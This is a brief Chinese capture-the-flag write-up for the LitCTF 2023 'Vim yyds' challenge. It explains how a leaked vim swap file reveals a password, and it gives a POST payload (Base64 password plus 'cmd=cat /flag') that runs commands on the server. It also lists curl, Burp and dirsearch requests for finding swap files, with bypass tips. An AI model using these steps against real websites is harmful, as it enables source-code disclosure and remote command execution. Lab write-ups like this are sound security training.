Problem: [LitCTF 2023]Vim yyds
思路
- 结合题目描述 联想到大概是 vim缓存文件泄露
- 访问index.php.swp 查看其中的可读信息 按照提示传参
EXP

- 密码是
Give_Me_Your_Flag - POST的password参数需要传Base64编码
- 可以执行cmd命令
- password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag
总结
- vim备份文件后缀
第一次意外退出产生的备份文件名为:.filename.swp
第二次意外退出产生的备份文件名为:.filename.swo
第三次意外退出产生的备份文件名为:.filename.swn
当vim在编辑文档的过程中如果异常退出,则会产生缓存文件。第一次产生的缓存文件后缀为.swp,第二次则产生的缓存文件后缀为.swo,第三次产生的缓存文件后缀为.swn。
- 如何访问.index.php.swp
- 直接url访问
- 使用burp
GET /.index.php.swp HTTP/1.1 Host: target.com
- 使用curl
curl http://target.com/.index.php.swp -o index.php.swp
- 使用dirsearch扫描
dirsearch -u http://target.com -e swp,swo,swm,bak,tmp
- 如果403、404尝试编码、路径穿越、其他协议
- 恢复.swp文件
# 使用vim恢复 vim -r index.php.swp # 或直接查看 strings index.php.swp cat index.php.swp | strings
